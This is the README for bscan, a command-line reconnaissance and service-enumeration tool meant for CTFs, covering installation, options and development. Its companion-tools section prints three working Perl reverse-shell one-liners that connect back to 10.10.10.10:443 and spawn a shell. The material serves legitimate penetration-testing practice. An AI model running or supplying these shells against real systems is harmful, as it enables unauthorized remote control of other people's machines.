Synopsis

bscan is a command-line utility to perform active information gathering and service enumeration. At its core, bscan asynchronously spawns processes of well-known scanning utilities, repurposing scan results into highlighted console output and a well-defined directory structure.

License

bscan is intended for educational purposes and events such as CTFs only and should never be run on machines and/or networks without explicit prior consent. This code is released under the MIT license.

Installation

bscan was written to be run on Kali Linux, but there is nothing inherently preventing it from running on any OS with the appropriate tools installed. There's a few different types of packaged releases and ways to install them.

The easiest way to get up and running is to install the appropriate single-file executable version of the program for your operating system (no Python installation required):

# on Linux (i.e., Kali)
wget -O bscan https://releases.brianwel.ch/bscan/linux

# on Windows
powershell -c "[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12; wget 'https://releases.brianwel.ch/bscan/windows' -OutFile 'bscan.exe'"

# to download a specific version, use the following pattern
wget -O bscan https://releases.brianwel.ch/github/bscan/linux/0.1.4

You can also download the latest packaged version from PyPI (note that this requires an existing Python 3.6+ installation):

pip install bscan

Similarly, you could get the bleeding-edge version from version control:

pip install https://github.com/welchbj/bscan/archive/master.tar.gz

Basic Usage

bscan has a wide variety of configuration options which can be used to tune scans to your needs. Here's a quick example:

$ bscan \
> --max-concurrency 3 \
> --patterns [Mm]icrosoft \
> --status-interval 10 \
> --verbose-status \
> scanme.nmap.org

What's going on here?

bscan also relies on some additional configuration files. The default files can be found in the bscan/configuation directory and serve the following purposes:

  --config-dir D        the base directory from which to load the configuration files;
                        required configuration files missing from this directory will
                        instead be loaded from the default files shipped with this

  --hard                force overwrite of existing directories
  --max-concurrency I   maximum integer number of subprocesses permitted to be running
                        concurrently (defaults to 20)
  --no-program-check    disable checking the presence of required system programs
  --no-file-check       disable checking the presence of files such as configured
                        wordlists
  --no-service-scans    disable running scans on discovered services
  --output-dir D        the base directory in which to write output files
  --patterns [ [ ...]]  regex patterns to highlight in output text
  --ping-sweep          enable ping sweep filtering of hosts from a network range
                        before running more intensive scans
  --quick-only          whether to only run the quick scan (and not include the
                        thorough scan over all ports)
  --qs-method S         the method for performing the initial TCP port scan; must
                        correspond to a configured port scan
  --status-interval I   integer number of seconds to pause in between printing status
                        updates; a non-positive value disables updates (defaults to 30)
  --ts-method S         the method for performing the thorough TCP port scan; must
                        correspond to a configured port scan
  --udp                 whether to run UDP scans
  --udp-method S        the method for performing the UDP port scan; must correspond
                        to a configured port scan
  --verbose-status      whether to print verbose runtime status updates, based on

Companion Tools

The main bscan program ships with two utility programs (bscan-wordlists and bscan-shells) to make your life a little easier when looking for wordlists and trying to open reverse shells.

bscan-wordlists is a program designed for finding wordlist files on Kali Linux. It searches a few default directories and allows for glob filename matching. Here's a simple example:

$ bscan-wordlists --find "*win*"
/usr/share/wordlists/wfuzz/vulns/dirTraversal-win.txt
/usr/share/wordlists/metasploit/sensitive_files_win.txt
/usr/share/seclists/Passwords/common-passwords-win.txt

Try bscan-wordlists --help to explore other options.

bscan-shells is a program that will generate a variety of reverse shell one-liners with target and port fields populated for you. Here's a simple example to list all Perl-based shells, configured to connect back to 10.10.10.10 on port 443:

$ bscan-shells --port 443 10.10.10.10 | grep -i -A1 perl
perl for windows
perl -MIO -e '$c=new IO::Socket::INET(PeerAddr,"10.10.10.10:443");STDIN->fdopen($c,r);$~->fdopen($c,w);system$_ while<>;'

perl with /bin/sh
perl -e 'use Socket;$i="10.10.10.10";$p=443;socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("/bin/sh -i");};'

perl without /bin/sh
perl -MIO -e '$p=fork;exit,if($p);$c=new IO::Socket::INET(PeerAddr,"10.10.10.10:443");STDIN->fdopen($c,r);$~->fdopen($c,w);system$_ while<>;'

Note that bscan-shells pulls these commands from the reverse-shells.toml configuration file. Try bscan-shells --help to explore other options.

Development

Start by setting up a new development environment and installing the requirements (using virtualenvwrapper / virtualenvwrapper-win):

# setup the environment
mkvirtualenv -p $(which python3) bscan-dev
workon bscan-dev

# get the deps
pip install -r dev-requirements.txt

Lint and type-check the project (these are run on Travis, too):

flake8 . && mypy bscan

When it's time to package a new release:

# build the single-file executable
pyinstaller bscan.spec

# build source and wheel distributions
python setup.py bdist_wheel sdist

# run post-build checks
twine check dist/*

# upload to PyPI
twine upload dist/*
